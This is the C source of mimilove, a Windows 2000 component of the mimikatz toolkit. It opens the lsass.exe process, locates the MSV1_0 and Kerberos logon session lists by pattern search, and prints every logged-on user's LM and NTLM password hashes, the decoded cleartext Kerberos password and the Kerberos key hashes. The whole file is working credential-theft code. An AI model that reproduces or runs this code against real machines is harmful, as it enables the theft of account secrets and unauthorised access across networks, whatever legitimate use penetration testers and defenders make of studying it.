/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "mimilove.h"

int wmain(int argc, wchar_t *argv[])
{
	DWORD pid;
	HANDLE hProcess;
	PKULL_M_MEMORY_HANDLE hMemory;
	OSVERSIONINFO osInfo;

	kprintf(L"\n"
		L"  .#####.   " MIMILOVE_FULL L"\n"
		L" .## ^ ##.  " MIMILOVE_SECOND L"\n"
		L" ## / \\ ##  /* * *\n"
		L" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
		L" '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)\n"
		L"  '#####'    " MIMILOVE_SPECIAL L"* * */\n\n");

	RtlZeroMemory(&osInfo, sizeof(OSVERSIONINFO));
	osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	if(GetVersionEx(&osInfo))
	{
		if((osInfo.dwMajorVersion == 5) && (osInfo.dwMinorVersion == 0))
		{
			if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
			{
				if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid))
				{
					if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
					{
						mimilove_lsasrv(hMemory);
						mimilove_kerberos(hMemory);
						kull_m_memory_close(hMemory);
					}
					CloseHandle(hProcess);
				}
				else PRINT_ERROR_AUTO(L"OpenProcess");
			}
		}
		else PRINT_ERROR(L"Only for Windows 2000\n");
	}
	else PRINT_ERROR_AUTO(L"GetVersionEx");

	return ERROR_SUCCESS;
}

BOOL kuhl_m_sekurlsa_utils_love_search(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION mi, PKULL_M_MINI_PATTERN pa, PVOID * genericPtr)
{
	BOOL status = FALSE;
	KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, mi->DllBase.hMemory}, aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
	KULL_M_MEMORY_SEARCH sMemory = {{{mi->DllBase.address, mi->DllBase.hMemory}, mi->SizeOfImage}, NULL};
	aLocalMemory.address = pa->Pattern;
	if(kull_m_memory_search(&aLocalMemory, pa->Length, &sMemory, FALSE))
	{
		aLsassMemory.address = (PBYTE) sMemory.result + pa->offset;
		aLocalMemory.address = genericPtr;
		status = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID));
	}
	return status;
}

const wchar_t * KUHL_M_SEKURLSA_LOGON_TYPE[] = {
	L"UndefinedLogonType",
	L"Unknown !",
	L"Interactive",
	L"Network",
	L"Batch",
	L"Service",
	L"Proxy",
	L"Unlock",
	L"NetworkCleartext",
	L"NewCredentials",
	L"RemoteInteractive",
	L"CachedInteractive",
	L"CachedRemoteInteractive",
	L"CachedUnlock",
};
const ANSI_STRING
	PRIMARY_STRING = {7, 8, "Primary"};

void mimilove_lsasrv(PKULL_M_MEMORY_HANDLE hMemory)
{
	BYTE PTRN_W2K_LogonSessionTable[] = {0xff, 0x50, 0x10, 0x85, 0xc0, 0x74};
	KULL_M_MINI_PATTERN paLsasrv = {sizeof(PTRN_W2K_LogonSessionTable), PTRN_W2K_LogonSessionTable, -9};
	PLIST_ENTRY LogonSessionTable = NULL;
	KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION miLsasrv;
	KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, hMemory}, aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
	PVOID baseTable, base;
	KIWI_MSV1_0_LOGON_SESSION_TABLE_50 table;
	KIWI_MSV1_0_LIST_50 list;
	KIWI_MSV1_0_ENTRY_50 entry;
	KIWI_MSV1_0_CREDENTIALS credentials;
	KIWI_MSV1_0_PRIMARY_CREDENTIALS primaryCredentials;
	PMSV1_0_PRIMARY_CREDENTIAL_50 pPrimaryCred;
	DWORD tableCount = 0, i;

	kprintf(L"========================================\n"
		L"LSASRV Credentials (MSV1_0, ...)\n"
		L"========================================\n\n"
		);

	if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &miLsasrv))
	{
		if(kuhl_m_sekurlsa_utils_love_search(&miLsasrv, &paLsasrv, (PVOID *) &LogonSessionTable))
		{
			aLocalMemory.address = &base; // buffer
			aLsassMemory.address = LogonSessionTable;
			if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)))
			{
				if(aLsassMemory.address = base) // buffer
				{
					aLocalMemory.address = &table;
					if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_LOGON_SESSION_TABLE_50)))
					{
						if(table.tag == 'XTHL')
						{
							tableCount = 16;
							baseTable = (PBYTE) aLsassMemory.address + sizeof(KIWI_MSV1_0_LOGON_SESSION_TABLE_50);
						}
						else if(table.tag == 'XTHS')
						{
							tableCount = 1;
							baseTable = aLsassMemory.address;
						}
						else PRINT_ERROR(L"unknown table tag\n");
					}
					
					for(i = 0; i < tableCount ; i++)
					{
						aLsassMemory.address = (PBYTE) baseTable + i * sizeof(KIWI_MSV1_0_LOGON_SESSION_TABLE_50);
						aLocalMemory.address = &table;
						if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_LOGON_SESSION_TABLE_50)))
						{
							base = (PBYTE) aLsassMemory.address + FIELD_OFFSET(KIWI_MSV1_0_LOGON_SESSION_TABLE_50, list);
							if(aLsassMemory.address = table.list.Flink)
							{
								while(aLsassMemory.address != base)
								{
									aLocalMemory.address = &list;
									if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_LIST_50)))
									{
										if(aLsassMemory.address = list.entry)
										{
											aLocalMemory.address = &entry;
											if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_ENTRY_50)))
											{
												if(aLsassMemory.address = entry.Credentials)
												{
													kull_m_process_getUnicodeString(&entry.UserName, hMemory);
													kull_m_process_getUnicodeString(&entry.Domaine, hMemory);
													kull_m_process_getSid(&entry.pSid, hMemory);

													kprintf(L"Authentication Id : %u ; %u (%08x:%08x)\n"
														L"Session           : %s from %u\n"
														L"User Name         : %wZ\n"
														L"Domain            : %wZ\n"
														, entry.LocallyUniqueIdentifier.HighPart, entry.LocallyUniqueIdentifier.LowPart, entry.LocallyUniqueIdentifier.HighPart, entry.LocallyUniqueIdentifier.LowPart, KUHL_M_SEKURLSA_LOGON_TYPE[entry.LogonType], entry.Session, &entry.UserName, &entry.Domaine);
													kprintf(L"Logon Time        : ");
													kull_m_string_displayLocalFileTime(&entry.LogonTime);
													kprintf(L"\nSID               : ");
													if(entry.pSid)
														kull_m_string_displaySID(entry.pSid);
													kprintf(L"\n");

													if(entry.UserName.Buffer)
														LocalFree(entry.UserName.Buffer);
													if(entry.Domaine.Buffer)
														LocalFree(entry.Domaine.Buffer);
													if(entry.pSid)
														LocalFree(entry.pSid);

													while(aLsassMemory.address)
													{
														aLocalMemory.address = &credentials;
														if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_CREDENTIALS)))
														{
															if(aLsassMemory.address = credentials.PrimaryCredentials)
															{
																while(aLsassMemory.address)
																{
																	aLocalMemory.address = &primaryCredentials;
																	if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)))
																	{
																		kull_m_process_getUnicodeString((PUNICODE_STRING) &primaryCredentials.Primary, hMemory);
																		kull_m_process_getUnicodeString((PUNICODE_STRING) &primaryCredentials.Credentials, hMemory);

																		kprintf(L"\t[%Z]\n", &primaryCredentials.Primary);
																		if(RtlEqualString(&primaryCredentials.Primary, &PRIMARY_STRING, FALSE))
																		{
																			pPrimaryCred = (PMSV1_0_PRIMARY_CREDENTIAL_50) primaryCredentials.Credentials.Buffer;
																			kull_m_string_MakeRelativeOrAbsoluteString(pPrimaryCred, &pPrimaryCred->UserName, FALSE);
																			kull_m_string_MakeRelativeOrAbsoluteString(pPrimaryCred, &pPrimaryCred->LogonDomainName, FALSE);
																			kprintf(L"\t * Username : %wZ\n\t * Domain   : %wZ", &pPrimaryCred->UserName, &pPrimaryCred->LogonDomainName);
																			if(pPrimaryCred->isLmOwfPassword)
																			{
																				kprintf(L"\n\t * LM       : ");
																				kull_m_string_wprintf_hex(pPrimaryCred->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
																			}
																			if(pPrimaryCred->isNtOwfPassword)
																			{
																				kprintf(L"\n\t * NTLM     : ");
																				kull_m_string_wprintf_hex(pPrimaryCred->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
																			}
																			kprintf(L"\n");
																		}
																		else
																		{
																			kull_m_string_wprintf_hex(primaryCredentials.Credentials.Buffer, primaryCredentials.Credentials.Length, 1 | (16 << 16));
																		}

																		if(primaryCredentials.Primary.Buffer)
																			LocalFree(primaryCredentials.Primary.Buffer);
																		if(primaryCredentials.Credentials.Buffer)
																			LocalFree(primaryCredentials.Credentials.Buffer);

																		aLsassMemory.address = primaryCredentials.next;
																	}
																	else
																	{
																		PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_PRIMARY_CREDENTIALS");
																		break;
																	}
																}
															}
															aLsassMemory.address = credentials.next;
														}
														else
														{
															PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_CREDENTIALS");
															break;
														}
													}
													kprintf(L"\n");
												}
											}
											else PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_ENTRY_50");
										}
										else PRINT_ERROR(L"list.entry is NULL\n");
										aLsassMemory.address = list.Flink;
									}
									else
									{
										PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_LIST_50");
										break;
									}
								}
							}
							else PRINT_ERROR(L"table.list is NULL\n");
						}
						else PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_MSV1_0_LOGON_SESSION_TABLE_50");
					}
				}
				else PRINT_ERROR(L"LogonSessionTable is NULL\n");
			}
			else PRINT_ERROR_AUTO(L"kull_m_memory_copy / ptr 1");
		}
		else PRINT_ERROR_AUTO(L"lsasrv pattern not found");
	}
	else PRINT_ERROR_AUTO(L"lsasrv module info");
}

void mimilove_kerberos(PKULL_M_MEMORY_HANDLE hMemory)
{
	BYTE PTRN_W2K_KerbLogonSessionList[] = {0x8b, 0x5c, 0x24, 0x18, 0x8b, 0x13};
	KULL_M_MINI_PATTERN paKerberos = {sizeof(PTRN_W2K_KerbLogonSessionList), PTRN_W2K_KerbLogonSessionList, -8};
	PLIST_ENTRY KerbLogonSessionList = NULL;
	KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION miKerberos;
	KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, hMemory}, aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
	PVOID base;
	BYTE hash;
	KIWI_KERBEROS_LOGON_SESSION_50 session;
	KIWI_KERBEROS_KEYS_LIST_5 keyList;
	PKERB_HASHPASSWORD_5 pKeys;
	DWORD i;
	UNICODE_STRING tmpBuffer;

	kprintf(L"========================================\n"
		L"KERBEROS Credentials (no tickets, sorry)\n"
		L"========================================\n\n"
		);

	if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"kerberos.dll", &miKerberos))
	{
		if(kuhl_m_sekurlsa_utils_love_search(&miKerberos, &paKerberos, (PVOID *) &KerbLogonSessionList))
		{
			aLocalMemory.address = &base; // buffer
			aLsassMemory.address = KerbLogonSessionList;
			if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)))
			{
				if(aLsassMemory.address = base) // buffer
				{
					while(aLsassMemory.address != KerbLogonSessionList)
					{
						aLocalMemory.address = &session;
						if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_KERBEROS_LOGON_SESSION_50)))
						{
							if(session.Password.Length || session.pKeyList)
							{
								kull_m_process_getUnicodeString(&session.UserName, hMemory);
								kull_m_process_getUnicodeString(&session.Domaine, hMemory);
								kull_m_process_getUnicodeString(&session.Password, hMemory);

								kprintf(L"Authentication Id : %u ; %u (%08x:%08x)\n"
									L"User Name         : %wZ\n"
									L"Domain            : %wZ\n"
									L"Password          : "
									, session.LocallyUniqueIdentifier.HighPart, session.LocallyUniqueIdentifier.LowPart, session.LocallyUniqueIdentifier.HighPart, session.LocallyUniqueIdentifier.LowPart, &session.UserName, &session.Domaine);

								hash = *((PBYTE) &session.Password.Length + 1); // please...
								*((PBYTE) &session.Password.Length + 1) = 0;
								RtlRunDecodeUnicodeString(hash, &session.Password);

								if(!session.Password.Length || kull_m_string_suspectUnicodeString(&session.Password))
									kprintf(L"%wZ", &session.Password);
								else
									kull_m_string_wprintf_hex(session.Password.Buffer, session.Password.Length, 1);
								kprintf(L"\n");

								if(aLsassMemory.address = session.pKeyList)
								{
									aLocalMemory.address = &keyList;
									if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(KIWI_KERBEROS_KEYS_LIST_5)))
									{
										if(pKeys = (PKERB_HASHPASSWORD_5) LocalAlloc(LPTR, keyList.cbItem * sizeof(KERB_HASHPASSWORD_5)))
										{
											aLsassMemory.address = (PBYTE) session.pKeyList + sizeof(KIWI_KERBEROS_KEYS_LIST_5);
											aLocalMemory.address = pKeys;
											if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, keyList.cbItem * sizeof(KERB_HASHPASSWORD_5)))
											{
												for(i = 0; i < keyList.cbItem; i++)
												{
													kprintf(L"\t%s ", mimilove_kerberos_etype(pKeys[i].generic.Type));
													if(tmpBuffer.Length = tmpBuffer.MaximumLength = (USHORT) pKeys[i].generic.Size)
													{
														if(tmpBuffer.Buffer = (PWSTR) pKeys[i].generic.Checksump)
														{
															if(kull_m_process_getUnicodeString(&tmpBuffer, hMemory))
															{
																kull_m_string_wprintf_hex(tmpBuffer.Buffer, tmpBuffer.Length, 0); kprintf(L"\n");
																LocalFree(tmpBuffer.Buffer);
															}
														}
													}
												}
											}
											else PRINT_ERROR_AUTO(L"kull_m_memory_copy / KERB_HASHPASSWORD_5");
											LocalFree(pKeys);
										}
									}
									else PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_KERBEROS_KEYS_LIST_5");
								}
								kprintf(L"\n");

								if(session.UserName.Buffer)
									LocalFree(session.UserName.Buffer);
								if(session.Domaine.Buffer)
									LocalFree(session.Domaine.Buffer);
								if(session.Password.Buffer)
									LocalFree(session.Password.Buffer);
							}
							aLsassMemory.address = session.Entry.Flink;
						}
						else
						{
							PRINT_ERROR_AUTO(L"kull_m_memory_copy / KIWI_KERBEROS_LOGON_SESSION_50");
							break;
						}
					}
				}
				else PRINT_ERROR(L"KerbLogonSessionList is NULL\n");
			}
			else PRINT_ERROR_AUTO(L"kull_m_memory_copy / ptr 1");
		}
		else PRINT_ERROR_AUTO(L"kerberos pattern not found");
	}
	else PRINT_ERROR_AUTO(L"kerberos module info");
}

PCWCHAR mimilove_kerberos_etype(LONG eType)
{
	PCWCHAR type;
	switch(eType)
	{
	case KERB_ETYPE_NULL:							type = L"null             "; break;
	case KERB_ETYPE_DES_PLAIN:						type = L"des_plain        "; break;
	case KERB_ETYPE_DES_CBC_CRC:					type = L"des_cbc_crc      "; break;
	case KERB_ETYPE_DES_CBC_MD4:					type = L"des_cbc_md4      "; break;
	case KERB_ETYPE_DES_CBC_MD5:					type = L"des_cbc_md5      "; break;
	case KERB_ETYPE_DES_CBC_MD5_NT:					type = L"des_cbc_md5_nt   "; break;
	case KERB_ETYPE_RC4_PLAIN:						type = L"rc4_plain        "; break;
	case KERB_ETYPE_RC4_PLAIN2:						type = L"rc4_plain2       "; break;
	case KERB_ETYPE_RC4_PLAIN_EXP:					type = L"rc4_plain_exp    "; break;
	case KERB_ETYPE_RC4_LM:							type = L"rc4_lm           "; break;
	case KERB_ETYPE_RC4_MD4:						type = L"rc4_md4          "; break;
	case KERB_ETYPE_RC4_SHA:						type = L"rc4_sha          "; break;
	case KERB_ETYPE_RC4_HMAC_NT:					type = L"rc4_hmac_nt      "; break;
	case KERB_ETYPE_RC4_HMAC_NT_EXP:				type = L"rc4_hmac_nt_exp  "; break;
	case KERB_ETYPE_RC4_PLAIN_OLD:					type = L"rc4_plain_old    "; break;
	case KERB_ETYPE_RC4_PLAIN_OLD_EXP:				type = L"rc4_plain_old_exp"; break;
	case KERB_ETYPE_RC4_HMAC_OLD:					type = L"rc4_hmac_old     "; break;
	case KERB_ETYPE_RC4_HMAC_OLD_EXP:				type = L"rc4_hmac_old_exp "; break;
	case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN:	type = L"aes128_hmac_plain"; break;
	case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN:	type = L"aes256_hmac_plain"; break;
	case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:		type = L"aes128_hmac      "; break;
	case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:		type = L"aes256_hmac      "; break;
	default:										type = L"unknow           "; break;
	}
	return type;
}